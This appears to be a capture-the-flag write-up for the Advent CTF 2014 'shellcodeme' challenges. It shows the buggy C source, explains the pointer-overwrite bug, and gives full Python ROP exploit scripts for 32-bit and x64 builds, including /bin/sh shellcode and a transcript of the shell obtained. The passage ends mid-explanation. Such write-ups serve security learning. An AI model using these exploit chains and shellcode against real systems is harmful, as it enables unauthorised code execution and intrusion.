Why o why do we take part in these painful exercises? Again, shellcodeme seemed like such a simple task. But looks, like all the other challenges of Advent CTF 2014, can be deceiving!
We’re given a binary and the C source code:
1234567891011121314
/* gcc -m32 -fno-stack-protector -znoexecstack -o shellcodeme shellcodeme.c */#include <stdio.h>#include <stdlib.h>#include <sys/mman.h>#define SHELLCODE_LEN 1024intmain(void){char*buf;buf=mmap((void*)0x20000000,SHELLCODE_LEN,PROT_READ|PROT_WRITE|PROT_EXEC,MAP_PRIVATE|MAP_ANONYMOUS,-1,0);read(0,&buf,SHELLCODE_LEN);mprotect((void*)0x20000000,SHELLCODE_LEN,PROT_READ);// no no no~(*(void(*)())buf)();// SEGV! no exec. can you execute shellcode?}
The bug was kind of obvious:
1
read(0,&buf,SHELLCODE_LEN);// read to the location of buf itself
The code will read in the shellcode at &buf, not buf. This will allow us to overwrite that pointer and take control of execution at this line of code:
1
(*(void(*)())buf)();// SEGV! no exec. can you execute shellcode?
I chose to overwrite the buf pointer with 0x080484fc, which is leave; ret. This will restore the stack and land us in my ROP chain. The basic idea is to re-use mprotect and read to read in the shellcode and then return to it. The following python code did just that, landing me a shell on the box:
#!/usr/bin/pythonimportstructimportsocketimporttelnetlibimporttimedefp(x):returnstruct.pack('<L',x)POP3RET=0x804855dMPROTECT=0x8048330READ=0x8048340payload=""payload+=p(0x080484fc)# leave; ret (restore stack)payload+="A"*12# dummy payload+=p(MPROTECT)# mprotect shellcode area back to rwxpayload+=p(POP3RET)# fix stackpayload+=p(0x20000000)# addr of shellcodepayload+=p(0x1000)# size (page-aligned)payload+=p(0x7)# PROT_READ|PROT_EXEC|PROT_WRITEpayload+=p(READ)# read in our shellcodepayload+=p(POP3RET)# fix stackpayload+=p(0x0)# stdinpayload+=p(0x20000000)# addresspayload+=p(1024)# copied valuepayload+=p(0x20000000)# return to shellcodes=socket.socket(socket.AF_INET,socket.SOCK_STREAM)s.connect(('pwnable.katsudon.org',33201))# send first stages.send(payload)# for some reason, this delay was necessarytime.sleep(0.05)# send shellcode, spawns /bin/shs.send("\x31\xc9\xf7\xe9\x51\x04\x0b\xeb\x08\x5e\x87\xe6\x99\x87\xdc\xcd\x80\xe8\xf3\xff\xff\xff\x2f\x62\x69\x6e\x2f\x2f\x73\x68")t=telnetlib.Telnet()t.sock=st.interact()
I thought I was home-free! Let’s cat that flag and be done with it! But what’s this? (Yes, I’ve started using kali! =))
1234567891011121314
root@kali:~# python exploit.py
id
uid=1000(shellcodeme)gid=1000(shellcodeme)groups=1000(shellcodeme)ls -alh
total 36K
dr-xr-xr-x 2 root shellcodeme2 4.0K Dec 22 22:09 .
drwxr-xr-x 3 root root 4.0K Dec 22 22:09 ..
-rw-r--r-- 1 root shellcodeme2 220 Sep 26 04:49 .bash_logout
-rw-r--r-- 1 root shellcodeme2 3.4K Sep 26 04:49 .bashrc
-rw-r--r-- 1 root shellcodeme2 675 Sep 26 04:49 .profile
-r--r----- 1 root shellcodeme2 34 Dec 22 22:09 flag
-r-xr-sr-x 1 root shellcodeme2 8.5K Dec 22 22:09 shellcodeme2
cat flag 2>&1
cat: flag: Permission denied
Gah! We need to exploit another binary! This one is the same C code, but compiled as x64 code… I transferred the binary over to my box and started poking it.
The basic solution stays the same: mprotect, read, shellcode, flag. The problem with x64 is that we cannot pass the arguments to calls on the stack: that goes via registers. The two functions I needed are here:
I uploaded the binary to ropshell.com and analyzed it to find the gadgets I’d need. I found esi/rsi and edi/rdi quickly, but edx/rdx was nowhere to be found. Finally, I located these two gadgets:
12
0x0040068a : pop rbx; pop rbp; pop r12; pop r13; pop r14; pop r15; ret
0x00400671 : mov edx, ebp; mov rsi, r14; mov edi, r15d; call [r12 + rbx*8]
#!/usr/bin/pythonimportstructdefp(x):returnstruct.pack("L",x)payload=""''' #0x0040068a : pop rbx; pop rbp; pop r12; pop r13; pop r14; pop r15; ret #0x00400671 : mov edx, ebp; mov rsi, r14; mov edi, r15d; call [r12 + rbx*8]'''# first, fix up stack payload+=p(0x00400690)# pop pop retpayload+=p(0x0)payload+=p(0x0)#### MPROTECT# gadgets to set edi, esi and edx and call mprotectpayload+=p(0x0040068a)# pop rbx; pop rbp; pop r12; pop r13; pop r14; pop r15; retpayload+=p(0x6)# rbx << needs to be ebp-1 for code path!payload+=p(0x7)# rbp -> edx = mprotect.maskpayload+=p(0x00601038-6*8)# r12 -> mprotect@got.pltpayload+=p(0x0)# r13payload+=p(0x400)# r14 -> rsi -> esi = mprotect.lenpayload+=p(0x20000000)# r15 -> rdi -> edi = mprotect.addrpayload+=p(0x00400671)#mov edx, ebp; mov rsi, r14; mov edi, r15d; call [r12 + rbx*8]payload+="B"*(200-144)# spacer#### READ# gadgets to set edi, esi and edx and call read''' 0x00000000004005f2 <+53>: mov edx,0x400 0x00000000004005f7 <+58>: mov rsi,rax 0x00000000004005fa <+61>: mov edi,0x0 0x00000000004005ff <+66>: mov eax,0x0 0x0000000000400604 <+71>: call 0x400490 <read@plt>'''# 0x601020 <read@got.plt>payload+=p(0x0040068a)# pop rbx; pop rbp; pop r12; pop r13; pop r14; pop r15; retpayload+=p(0x400-1)# rbx << needs to be ebp-1 for code path!payload+=p(0x400)# rbp -> edx = 0x400payload+=p(0x601020-0x3ff*8)# r12 -> read@got.pltpayload+=p(0x0)# r13 payload+=p(0x20000000)# r14 -> rsi -> esi = read.addrpayload+=p(0x0)# r15 -> rdi -> edi = 0?# lucky for me, rax = 0payload+=p(0x00400671)#mov edx, ebp; mov rsi, r14; mov edi, r15d; call [r12 + rbx*8]payload+="B"*(200-144)# spacer# return to shellcode!payload+=p(0x20000000)printpayload
One of the tricky things with the mprotect and read ROP chains is the following. The code at 0x400671, which I use to set edx, looks like this:
First ebp is copied to edx. Then rsi and edi are set. Then we call the QWORD pointer at a memory address referenced by esi and ebx. I chose to esi and ebx such that they point to the got pointer of mprotect.
The problem arises after returning from the mprotect call:
So I needed to make sure that rbx and rbp were equal, otherwise the code jumps away and I inevitably got a crash. I solved that problem by setting rbx to rbp-1. Only thing left was to adjust esi and away we go! With the problem of setting edx out of the way, I could call mprotect to set 0x20000000 to rwx and read in the shellcode. This needed to be run from the shell that I obtained from exploiting the first binary.
I sprinkled in some shellcode magic and was able to exploit the binary locally!
Remotely, I ran into a problem: I could not make files on the remote system, nor was python installed. I rewrote the exploit to dump the shellcode as printable bytes:
I tried to run the exploit and shellcode using various combinations of echo and printf (also after spawning /bin/bash) but nothing seemed to work. It seemed the exploit didn’t work with those two bash builtins, while it did with python. I looked for a replacement and lo and behold: perl was installed on the remote box! I rewrote the exploit to read flag instead of /etc/passwd. For this, I had to adjust the offset: